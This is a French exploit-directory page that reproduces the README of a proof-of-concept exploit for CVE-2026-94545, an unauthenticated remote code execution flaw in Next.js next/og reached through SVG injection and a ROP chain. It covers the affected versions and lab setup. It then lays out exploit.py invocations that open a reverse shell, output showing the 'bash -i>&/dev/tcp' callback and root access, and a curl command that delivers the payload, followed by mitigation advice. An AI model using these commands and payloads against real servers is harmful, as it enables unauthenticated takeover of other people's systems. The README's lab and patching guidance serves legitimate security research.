Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-94545 — Proof-of-concept d'exploit pour CVE-2026-94545, une RCE non authentifiée dans Next.js next/og via injection SVG et une chaîne ROP contre le rasteriseur natif sharp. | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2026-94545
Analyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubeqstlab/cve-2026-94545

CVE-2026-94545

Proof-of-concept d'exploit pour CVE-2026-94545, une RCE non authentifiée dans Next.js next/og via injection SVG et une chaîne ROP contre le rasteriseur natif sharp.

Voir le dépôt
936il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-94545 Next.js next/og RCE non authentifiée

★ CVE-2026-94545 Next.js next/og injection SVG vers RCE native ★

https://github.com/user-attachments/assets/e297b40b-36ad-4a9a-b0c1-a64429bc0160


Vue d'ensemble

next/og construit des images Open Graph en rendant du JSX vers un SVG avec Satori, puis en rastérisant ce SVG. Satori écrit le texte fourni par l'utilisateur dans le SVG sans l'échapper (CWE-116), de sorte qu'une requête peut fermer l'élément englobant et injecter son propre balisage SVG. Lorsque la route s'exécute sur le runtime Node.js avec sharp installé, ce SVG est rastérisé par des bibliothèques natives (libvips, librsvg, libxml2) plutôt que par le moteur de rendu wasm sandboxé. Une charge utile construite à partir d'une référence XInclude et d'entités DTD imbriquées corrompt la mémoire au sein de ce parseur natif. Le binaire officiel de Node.js est non-PIE, donc son code et sa GOT ne sont pas randomisés et une chaîne ROP fixe atteint execve sans fuite d'adresse. Une seule requête non authentifiée vers une route d'image OG suffit pour exécuter des commandes en tant que processus serveur.


Versions affectées

CatégorieVersion
VulnérableNext.js 16.2.0 – 16.3.5 (runtime Node, sharp présent), Satori >=0.0.27 <0.33.5
CorrigéeNext.js 16.3.6 / Satori 0.33.5 ou ultérieur

Seul le chemin du runtime Node.js est affecté. Avec export const runtime = 'edge', ou une installation sans sharp, l'image est dessinée par le moteur de rendu resvg-wasm sandboxé et le bug ne mène pas à l'exécution de code.


Impact

  • Exécution de code non authentifiée en tant que processus serveur Next.js. Toute route qui transmet des données de requête dans ImageResponse est un point d'entrée.
  • L'exploit est aveugle. Un execve réussi remplace le worker, donc la requête HTTP se ferme simplement et le résultat doit revenir par un autre moyen, comme un reverse shell ou une commande qui rappelle le serveur.
  • La charge utile est stable. Comme le binaire Node est non-PIE, les adresses des gadgets sont identiques sur chaque hôte et à chaque redémarrage pour une build Node donnée, donc aucune fuite ni bruteforce par cible n'est nécessaire.
  • Un succès fait planter le worker. Le processus node est remplacé par la commande injectée, donc le serveur cesse de répondre jusqu'à son redémarrage.

Environnement

Une application Next.js minimale qui reproduit la configuration vulnérable. La route à /api/og rend un ImageResponse sur le runtime Node, et sharp est installé afin que le rastériseur natif soit utilisé. L'image fixe la pile exacte dont dépend la chaîne ROP (Node 24.20.0 non-PIE, Next 16.3.5, sharp 0.35.4 avec libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3). La première build récupère Node, installe les dépendances npm et exécute next build, ce qui prend quelques minutes.

docker build -t cve-2026-94545 .
docker run -d --name cve-2026-94545 -p 3000:3000 cve-2026-94545

# sanity check: a benign render returns 200
curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:3000/api/og?value=hello"
PréconditionÉtat dans ce lab
Next.js 16.2.0 – 16.3.5 sur le runtime NodeNext 16.3.5, runtime = 'nodejs'
sharp installé, donc le chemin natif librsvg/libxml2 est utilisésharp 0.35.4, libvips 8.18.6, rsvg 2.62.91, xml2 2.15.3
Binaire Node non-PIE pour une base ROP stableNode officiel v24.20.0 linux-x64 (vérifié par SHA)
Route d'image OG accessible sans authentificationGET et POST /api/og, le texte de la requête va dans un <title> SVG
Chemin sortant disponible pour un reverse shellbash et /dev/tcp sont présents

PoC

La route vulnérable est POST /api/og. Elle prend le corps de la requête et le place dans un <title> SVG avant la rastérisation. exploit.py construit ce SVG pour une commande choisie, encode la chaîne ROP dans un <path>, et l'envoie à la route.

L'exécution la plus simple ouvre un reverse shell. Indiquez-lui la cible et une adresse d'écoute ; il démarre nc pour vous, déclenche la requête, et vous remet le shell.

python3 exploit.py --target 172.17.0.3:3000 --lhost 172.17.0.4:4444

La charge utile est calibrée sur la pile listée dans Environnement, donc exécutez-la contre cette image ou un hôte avec la même build Node et sharp. Un succès remplace le processus node par votre commande, ce qui signifie que la requête HTTP se ferme et que le service cesse de répondre jusqu'au redémarrage du conteneur.

[*] Command: bash -c 'bash -i>&/dev/tcp/172.17.0.4/4444 0>&1' (49 bytes)
[*] payload bytes=24693 sha256=...
[*] Listener: nc -lvnp 4444
[*] POST http://172.17.0.3:3000/api/og (24693 bytes)
[*] Target closed connection (expected)
connect to [172.17.0.4] from (UNKNOWN) [172.17.0.3] 43118
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 6e2b1c4a7f9d 5.15.0 #1 SMP x86_64 GNU/Linux

Le reverse shell s'exécute en tant que processus serveur, ce qui confirme l'exécution de code à partir d'une seule requête non authentifiée. Pour exécuter une commande sans listener, passez-la directement ; notez que la sortie ne revient pas via HTTP, donc la commande doit envoyer hors bande tout ce que vous voulez voir.

# single command, no listener
python3 exploit.py --target 172.17.0.3:3000 --command "id"

# only build the payload, then send it yourself
python3 exploit.py --target 172.17.0.3:3000 --command "id" --output payload.bin
curl --data-binary @payload.bin -H "Content-Type: text/plain" http://172.17.0.3:3000/api/og

Atténuation

  • Mettez à niveau vers Next.js 16.3.6 / Satori 0.33.5 ou ultérieur, qui échappe le texte SVG lors de sa sérialisation et ferme l'injection.
  • Si vous ne pouvez pas encore mettre à niveau, déplacez les routes next/og vers export const runtime = 'edge' afin que le moteur de rendu wasm sandboxé soit utilisé, ou supprimez sharp afin que le chemin natif ne soit pas atteint, et gardez les entrées utilisateur non assainies hors des enfants de ImageResponse.
  • Placez les routes d'image OG derrière une authentification ou une liste d'autorisation, et restreignez le trafic sortant du serveur pour rendre l'exfiltration aveugle plus difficile.
  • Après le correctif, considérez une instance accessible depuis Internet comme compromise : faites tourner tout secret que le processus de l'application pouvait lire et vérifiez la présence de mécanismes de persistance.

Analyse

  • KR :
  • EN :
Télécharger l’outil